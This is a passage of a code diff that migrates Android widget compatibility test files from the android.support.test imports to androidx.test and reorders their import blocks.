 import android.database.DataSetObserver;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.BaseExpandableListAdapter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/ButtonTest.java b/tests/tests/widget/src/android/widget/cts/ButtonTest.java
index c320895..abc37a6 100644
--- a/tests/tests/widget/src/android/widget/cts/ButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ButtonTest.java
@@ -17,13 +17,14 @@
 package android.widget.cts;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.Button;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java b/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
index 665abec..0556af8 100644
--- a/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
@@ -28,17 +28,18 @@
 
 import android.app.Instrumentation;
 import android.graphics.Rect;
-import androidx.annotation.ColorInt;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 import android.widget.CalendarView;
 import android.widget.ScrollView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.annotation.ColorInt;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java b/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
index cd265f9..10cbfd8 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
@@ -26,14 +26,15 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.widget.CheckBox;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java b/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
index da31c2d..05bb971 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
@@ -30,11 +30,6 @@
 import android.graphics.PorterDuff;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.view.View;
@@ -45,6 +40,12 @@
 import android.widget.ListView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ChronometerTest.java b/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
index 2ff415f..b9a45a3 100644
--- a/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
@@ -29,15 +29,16 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ContextThemeWrapper;
 import android.widget.Chronometer;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
index b81b37c..fcba607 100644
--- a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
@@ -42,11 +42,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
@@ -55,6 +50,12 @@
 import android.widget.CompoundButton;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
index ff36bbd..3f1543a 100644
--- a/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
@@ -31,10 +31,6 @@
 import android.database.DataSetObserver;
 import android.database.sqlite.SQLiteDatabase;
 import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -43,6 +39,11 @@
 import android.widget.FilterQueryProvider;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.TestThread;
 
diff --git a/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
index 1084805..4e15384 100644
--- a/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
@@ -33,10 +33,6 @@
 import android.database.Cursor;
 import android.database.DataSetObserver;
 import android.database.sqlite.SQLiteDatabase;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -45,6 +41,11 @@
 import android.widget.FilterQueryProvider;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
index c0aa95dc..b6ee6a84 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
@@ -22,10 +22,11 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.DatePickerDialog;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
index b3c10e3..52b75b6 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
@@ -33,15 +33,16 @@
 import android.app.Activity;
 import android.content.Context;
 import android.os.Parcelable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseArray;
 import android.view.View;
 import android.view.autofill.AutofillValue;
 import android.widget.DatePicker;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java b/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
index f7f6bc7..810276a 100644
--- a/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
@@ -30,11 +30,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.TextWatcher;
 import android.util.AttributeSet;
@@ -44,6 +39,12 @@
 import android.widget.EditText;
 import android.widget.RelativeLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java b/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
index 6c9f512..34b5083 100644
--- a/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
@@ -24,16 +24,17 @@
 import android.app.Activity;
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.DigitalClock;
 import android.widget.LinearLayout;
 import android.widget.cts.util.XmlUtils;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 32e54f1..acb24f7 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -25,11 +25,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.TextUtils;
 import android.text.method.ArrowKeyMovementMethod;
@@ -41,6 +36,12 @@
 import android.widget.EditText;
 import android.widget.TextView.BufferType;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java b/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
index 296f03f..d2a5230 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
@@ -17,13 +17,14 @@
 package android.widget.cts;
 
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
 import android.view.KeyEvent;
 import android.view.View;
 import android.widget.ExpandableListAdapter;
 import android.widget.ExpandableListView;
 import android.widget.cts.util.ListUtil;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import junit.framework.Assert;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
index 1f4270c..2d89510 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
@@ -21,10 +21,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.widget.BaseExpandableListAdapter;
 import android.widget.ExpandableListAdapter;
@@ -33,6 +29,11 @@
 import android.widget.cts.util.ExpandableListScenario.MyGroup;
 import android.widget.cts.util.ListUtil;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
index 1482cae..654aa88 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
@@ -38,11 +38,6 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.LayoutInflater;
@@ -54,6 +49,12 @@
 import android.widget.TextView;
 import android.widget.cts.util.ExpandableListScenario;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
index 77cf1b6..4edbb92 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
@@ -21,15 +21,16 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.widget.ExpandableListView;
 import android.widget.cts.util.ListUtil;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
index 693ff7e..69dbc8d 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
@@ -21,13 +21,14 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.ExpandableListView;
 import android.widget.ExpandableListView.ExpandableListContextMenuInfo;
 import android.widget.ListView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/FilterTest.java b/tests/tests/widget/src/android/widget/cts/FilterTest.java
index f8f577e..f2dc0d8 100644
--- a/tests/tests/widget/src/android/widget/cts/FilterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FilterTest.java
@@ -26,12 +26,13 @@
 
 import android.app.Instrumentation;
 import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.Filter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.TestThread;
 
diff --git a/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java b/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
index ee321e4..cfaf281 100644
--- a/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
@@ -40,11 +40,6 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -56,6 +51,12 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
index 0aca2cd..1b04b2f 100644
--- a/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
@@ -19,9 +19,6 @@
 import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -30,6 +27,10 @@
 import android.widget.FrameLayout;
 import android.widget.FrameLayout.LayoutParams;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/GalleryTest.java b/tests/tests/widget/src/android/widget/cts/GalleryTest.java
index acbe1e7..c977fa3 100644
--- a/tests/tests/widget/src/android/widget/cts/GalleryTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GalleryTest.java
@@ -26,11 +26,6 @@
 import android.content.Context;
 import android.graphics.Rect;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -46,6 +41,12 @@
 import android.widget.Gallery;
 import android.widget.ImageView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
index 61c447b..fcb7434 100644
--- a/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
@@ -18,11 +18,12 @@
 
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.Gallery;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java b/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
index 4924407..b16cac3 100644
--- a/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
@@ -24,10 +24,6 @@
 
 import android.app.Activity;
 import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -38,6 +34,11 @@
 import android.widget.GridLayout;
 import android.widget.TextView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 189a0c9..6232e9d 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -38,13 +38,6 @@
 import android.database.DataSetObservable;
 import android.database.DataSetObserver;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -61,6 +54,14 @@
 import android.widget.ImageView;
 import android.widget.ListAdapter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
index dcfd7d2..b87e5d4 100644
--- a/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
@@ -25,10 +25,6 @@
 
 import android.content.Context;
 import android.database.DataSetObserver;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.AdapterView;
@@ -38,6 +34,11 @@
 import android.widget.ListAdapter;
 import android.widget.ListView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
index 88aa357..9f22e77 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
@@ -29,11 +29,6 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -43,6 +38,12 @@
 import android.widget.HorizontalScrollView;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java b/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
index c433be6..7df37fdd 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
@@ -19,13 +19,14 @@
 import android.app.Activity;
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.ImageButton;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
index ea79796..69f7d08 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
@@ -28,15 +28,16 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.ImageSwitcher;
 import android.widget.ImageView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index 5476b22..c4d1f32 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -49,16 +49,17 @@
 import android.graphics.drawable.Icon;
 import android.graphics.drawable.PaintDrawable;
 import android.net.Uri;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.ImageView;
